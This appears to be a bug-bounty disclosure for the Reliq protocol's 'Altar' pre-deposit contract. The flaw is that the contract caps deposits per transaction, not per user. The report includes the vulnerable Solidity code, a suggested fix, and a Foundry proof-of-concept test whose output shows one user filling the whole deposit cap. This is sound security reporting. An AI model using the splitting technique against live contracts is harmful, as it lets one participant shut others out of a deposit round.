https://github.com/hackenproof-public/reliq-protocol
I have analysed the 'Altar' pre-deposit / contribution mechanism, focusing on the contribution caps and how the contract enforces them.
During this review I observed a mismatch between the stated behavior and the actual enforced behavior:
The contract description says:
"Contributions are capped per user and globally …" (Altar.sol header comment)
However, in implementation, 'maxContribution' is enforced only per transaction, not per user.
This means a single participant can exceed the intended “per-user cap” by simply splitting deposits across multiple 'sacrifice()' calls, while still staying within 'maxContribution' for each individual call.
In 'Altar.sacrifice', the code checks only:
But it never checks the cumulative per-user amount:
Relevant code (Altar.sol)
function sacrifice(uint256 amount, address user) external nonReentrant {
require(block.timestamp < deadline, "Altar: deadline passed");
require(amount >= minContribution && amount <= maxContribution, "Altar: invalid amount");
require(totalContributions + amount <= depositCap, "Altar: deposit cap exceeded");
if (isWhitelistActive) {
require(mintAllowance[user] >= amount + userContributions[user], "Altar: mint allowance exceeded");
}
userContributions[user] += amount;
totalContributions += amount;
backingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Sacrificed(user, amount);
}
There is no cumulative cap enforcement for userContributions[user].
This is a business logic / functional correctness vulnerability that affects fair participation and allocation.
What I observed an attacker (or any participant) can do:
Split contributions into multiple calls, each <= maxContribution
Accumulate userContributions[user] far beyond maxContribution
Potentially monopolize the full depositCap, blocking other users from participating
I consider this Medium , because:
It breaks the contract's stated "per-user cap" behavior.
It enables monopolization of the deposit round, impacting fairness and participation.
It does not directly steal funds, but it causes significant protocol-level correctness and distribution issues.
If the intended behavior is truly "per-user cap", add a cumulative enforcement check:
require(userContributions[user] + amount <= maxContribution, "Altar: max per user exceeded");
If the intended behavior is "per-transaction cap", then the contract should:
Rename maxContribution to maxContributionPerTx, and/or
Update comments/docs to avoid misleading users and integrators.
I wrote a Foundry PoC using the existing test suite which demonstrates:
A single user can deposit maxContribution multiple times
Their final userContributions becomes greater than maxContribution
The user can fill the entire depositCap, preventing other users from depositing
PoC file Location
test/PreDeposit/AltarPerUserCap.t.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.28;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import {Altar} from "../../src/Altar.sol";
import {ReliqHYPE} from "../../src/ReliqHYPE.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockERC20 is ERC20 {
constructor() ERC20("Mock Backing Token", "MBK") {}
function mint(address to, uint256 amt) external { _mint(to, amt); }
}
contract AltarPerUserCapTest is Test {
MockERC20 backing;
ReliqHYPE reliq;
Altar altar;
address alice = makeAddr("alice");
address bob = makeAddr("bob");
function setUp() public {
backing = new MockERC20();
// ReliqHYPE is required only because Altar stores it; this PoC focuses on sacrifice() behavior
reliq = new ReliqHYPE(IERC20(address(backing)));
altar = new Altar(address(reliq), address(backing));
uint256 minContribution = 1 ether;
uint256 maxContribution = 100 ether;
// Set depositCap to 2 * maxContribution to show one user can fill entire cap
uint256 depositCap = 200 ether;
altar.kickOff(
block.timestamp + 7 days,
minContribution,
maxContribution,
depositCap
);
// Fund users + approve altar
backing.mint(alice, 1_000 ether);
backing.mint(bob, 1_000 ether);
vm.prank(alice);
backing.approve(address(altar), type(uint256).max);
vm.prank(bob);
backing.approve(address(altar), type(uint256).max);
}
function test_user_can_exceed_maxContribution_by_splitting_deposits() public {
uint256 max = altar.maxContribution();
// Alice deposits "maxContribution" twice (each tx individually respects maxContribution)
vm.prank(alice);
altar.sacrifice(max, alice);
vm.prank(alice);
altar.sacrifice(max, alice);
uint256 aliceTotal = altar.userContributions(alice);
console.log("maxContribution(per tx) =", max);
console.log("alice userContributions =", aliceTotal);
console.log("totalContributions =", altar.totalContributions());
console.log("depositCap =", altar.depositCap());
// This proves the contract does NOT enforce a true "per-user cap"
assertEq(aliceTotal, 2 * max, "userContributions should exceed maxContribution by splitting deposits");
assertGt(aliceTotal, max, "BUG: per-user contribution exceeded maxContribution");
// Because depositCap is filled, Bob cannot participate anymore
vm.prank(bob);
vm.expectRevert(bytes("Altar: deposit cap exceeded"));
altar.sacrifice(1 ether, bob);
}
}
forge test --match-contract AltarPerUserCapTest -vvv
$ forge test --match-contract AltarPerUserCapTest -vvv
[⠊] Compiling...
[⠊] Compiling 1 files with Solc 0.8.28
[⠒] Solc 0.8.28 finished in 928.46ms
Compiler run successful!
Ran 1 test for test/PreDeposit/AltarPerUserCap.t.sol:AltarPerUserCapTest
[PASS] test_user_can_exceed_maxContribution_by_splitting_deposits() (gas: 140226)
Logs:
maxContribution(per tx) = 100000000000000000000
alice userContributions = 200000000000000000000
totalContributions = 200000000000000000000
depositCap = 200000000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.64ms (1.07ms CPU time)
Ran 1 test suite in 16.28ms (2.64ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
maxContribution is enforced only per transaction, not per user.
A single user can make multiple deposits and push userContributions[user] above maxContribution.
A single user can fill the entire depositCap, preventing other users from participating.